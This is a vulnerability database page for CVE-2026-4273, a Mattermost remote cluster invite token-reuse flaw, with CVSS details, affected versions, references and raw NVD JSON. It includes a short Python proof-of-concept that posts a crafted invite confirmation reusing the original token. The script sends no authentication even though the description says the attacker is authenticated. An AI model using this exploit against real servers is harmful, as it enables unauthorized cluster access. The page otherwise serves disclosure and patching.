CVE-2026-4273

Description

Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to validate that the RefreshedToken differs from the original invite token during remote cluster invite confirmation which allows an authenticated attacker to bypass token rotation and reuse the original invite token via sending a crafted invite confirmation with a RefreshedToken matching the original token. Mattermost Advisory ID: MMSA-2026-00575

CVSS Details

CVSS Score

3.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost 11.5.x <= 11.5.1

Mattermost 10.11.x <= 10.11.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-4273: Mattermost Invite Token Reuse
# Description: Bypass token rotation by setting RefreshedToken equal to the original Token.

def exploit_invite_reuse(target_url, original_token):
    """
    Attempts to confirm a cluster invite by reusing the original token.
    """
    endpoint = f"{target_url}/api/v4/cluster/invite/confirm"
    headers = {
        "Content-Type": "application/json"
    }

    # Malicious payload: RefreshedToken matches the original Token
    payload = {
        "Token": original_token,
        "RefreshedToken": original_token  # Vulnerability: Lack of differentiation check
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers)
        if response.status_code == 200:
            return "[+] Exploit successful! Invite confirmed using reused token."
        else:
            return f"[-] Exploit failed. Status code: {response.status_code}, Response: {response.text}"
    except Exception as e:
        return f"[!] Error occurred: {str(e)}"

# Example usage
# target = "https://mattermost.example.com"
# token = "invite_token_abc123"
# print(exploit_invite_reuse(target, token))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4273
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4273
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4273/
[4] VulDB https://vuldb.com/cve/CVE-2026-4273
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4273", "sourceIdentifier": "[email protected]", "published": "2026-05-18T08:16:14.180", "lastModified": "2026-05-19T17:23:36.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to validate that the RefreshedToken differs from the original invite token during remote cluster invite confirmation which allows an authenticated attacker to bypass token rotation and reuse the original invite token via sending a crafted invite confirmation with a RefreshedToken matching the original token. Mattermost Advisory ID: MMSA-2026-00575"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.14", "matchCriteriaId": "413D9405-79C3-4299-B0DC-40D9EE5CC717"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.2", "matchCriteriaId": "726AD6AD-6C01-45BB-9115-B8209717A6D4"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}